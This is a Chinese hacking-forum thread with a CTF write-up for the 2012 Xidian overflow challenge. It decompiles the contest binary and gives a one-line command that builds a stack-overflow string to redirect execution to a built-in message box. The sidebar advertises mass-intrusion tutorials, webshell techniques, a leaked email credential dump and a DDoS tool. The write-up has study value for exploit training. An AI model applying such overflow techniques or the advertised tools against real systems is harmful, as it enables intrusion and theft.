HACK80

我们很年轻,但我们有信念、有梦想!

我们坚信只有今天付出了,才有机会看到明天的太阳!
现在!加入我们,给你一个气氛优秀的技术圈子

作者: linux
查看: 1160|回复: 9

主题标签Tag

more +随机图赏Gallery

2015最新网站批量入侵教程-菜鸟也入侵2015最新网站批量入侵教程-菜鸟也入侵
DOS命令(可以转载)DOS命令(可以转载)
二期公开课第11节-MySQL5注入之写马拿webshell二期公开课第11节-MySQL5注入之写马拿webshell
社工库资源:某易邮箱 52g账号密码,快来拿社工库资源:某易邮箱 52g账号密码,快来拿
二期公开课第17节 - 数据库备份+突破二期公开课第17节 - 数据库备份+突破
福利来了:cc攻击器+IP代理工具福利来了:cc攻击器+IP代理工具
VIP获取工具,优酷、迅雷·VIP获取工具,优酷、迅雷·
各种工具包各种工具包
二期公开课第7节-Access注入之union注入二期公开课第7节-Access注入之union注入
二期公开课第27节-CMS漏洞利用(良精南方)二期公开课第27节-CMS漏洞利用(良精南方)

2012西电网络攻防大赛 溢出第二题目 调试笔记

[复制链接]
linux 发表于 2014-4-19 13:30:50 | 显示全部楼层 |阅读模式
查看: 1160|回复: 9

马上注册,加入HACK80!与我们一起交流。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
                2012西电网络攻防大赛 溢出第二题目 调试笔记
下午调试了三个网马漏洞,一个ie两个ActiveX的漏洞。回顾了一下堆喷射技术。感觉没有什么营养,网马利用堆喷射技术比普通栈溢出还简单,好比靶子几乎无限大,闭上眼睛都能蒙中。
网马相关技术作为apt攻击的常用手段之一,是需要重点研究的技术,下一步准备着重研究下如何快速开发绕过dep的网马exp,解密分析一些效果很好的shellcode是如何写的比如不用下载执行的shellcode等,如何对抗杀软检测,分析如何利用Java和flash绕过windows7的ASLR和dep等,先写个研究方向,抽空研究。
先抽几分钟把2012年西电溢出题目的第二题做了,第一题是一个shellcode编程题目,对硬编码的shellcode表示无爱,改天也自己学着写一个动态寻址的通用shellcode。
看第二题说明
1、    请输入一段字符串;
2、    目的是使程序显示如下对话框:
msg.jpg
3、    不得修改程序本身;
4、    提交答案,给出字符串内容。
程序比较小托ida里f5一下
  1. <p>int __cdecl main_0()

  2. {

  3. char v1; // [sp+Ch] [bp-58h]@1

  4. __int16 v2; // [sp+4Ch] [bp-18h]@1

  5. int v3; // [sp+4Eh] [bp-16h]@1

  6. __int16 v4; // [sp+52h] [bp-12h]@1

  7. int v5; // [sp+54h] [bp-10h]@1

  8. int v6; // [sp+58h] [bp-Ch]@1

  9. int v7; // [sp+5Ch] [bp-8h]@1

  10. int v8; // [sp+60h] [bp-4h]@1</p>
  11. <p>memset(&v1, -858993460, 0x58u);

  12. v8 = -1430532899;

  13. v7 = -1144201814;

  14. v6 = -576013364;

  15. v5 = -860116259;

  16. v2 = *(_WORD *)word_42502C;

  17. v3 = 0;

  18. v4 = 0;

  19. printf(“please input the string:”);

  20. scanf(“%s”, &v2);

  21. if ( v8 == -1144201814 && v7 == -576013364 && v6 == -860116259 && v5 == -1430532899 )

  22. {

  23. MessageBoxA(0, “Success!”, “Exploit2″, 0);

  24. _chkesp();

  25. }

  26. return _chkesp();

  27. }</p>
复制代码
程序里本身就有Exploit2的MessageBox 的代码,相当与已经把shellcode写好了,我们只要控制程序流程跳过去执行就可以了。scanf这里可以进行污染内存,可以覆盖返回地址,但是 _chkesp()函数会检测esp是否被覆盖,但是我们完全不需要覆盖esp就能让eip跳过去。
另一方面如果满足if ( v8 == -1144201814 && v7 == -576013364 && v6 == -860116259 && v5 == -1430532899 )语句的话也可以执行msgbox,这几个变量正好也可以被覆盖,但是输入字符真心麻烦。
我们还是直接控制eip吧!
linux下生成exp字符串
echo ’0123456789012345678901234567′$’\x9B\x10\x40′ > ~/Desktop/exp.txt
运行一下程序,输入字符串,弹出了期待的msgbox。可以安心睡了。
msgbox.jpg
                       
yangyang 发表于 2014-4-19 13:53:03 | 显示全部楼层
不错不错,楼主您辛苦了。。。
azj997783133 发表于 2014-4-19 13:53:03 | 显示全部楼层
有竞争才有进步嘛
我愿意漂泊 发表于 2014-4-19 14:53:11 | 显示全部楼层
上档次啊
Version丶 发表于 2014-4-22 09:36:03 | 显示全部楼层
高大上啊、
神秘人 发表于 2015-4-23 07:25:12 | 显示全部楼层
好多兽医在广场上义诊,楼主去看看吧!
hjgj600 发表于 2015-5-2 22:01:11 | 显示全部楼层
系统居然说我是在灌水,我有吗?
sdlylshl 发表于 2015-5-5 13:46:24 | 显示全部楼层
楼主就是我的榜样哦
额鹅鹅鹅 发表于 2015-5-5 21:22:31 | 显示全部楼层
不错哦,楼主这是要火的节奏啊!
kkyoyh 发表于 2015-5-5 21:49:30 | 显示全部楼层
看在楼主的面子上,认真回帖!
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|手机版|小黑屋|HACK80 ( 沪ICP备15007512号 )

GMT+8, 2017-4-27 01:38 , Processed in 0.053343 second(s), 27 queries .

Powered by Discuz! X3.2 © 2001-2013 Comsenz Inc.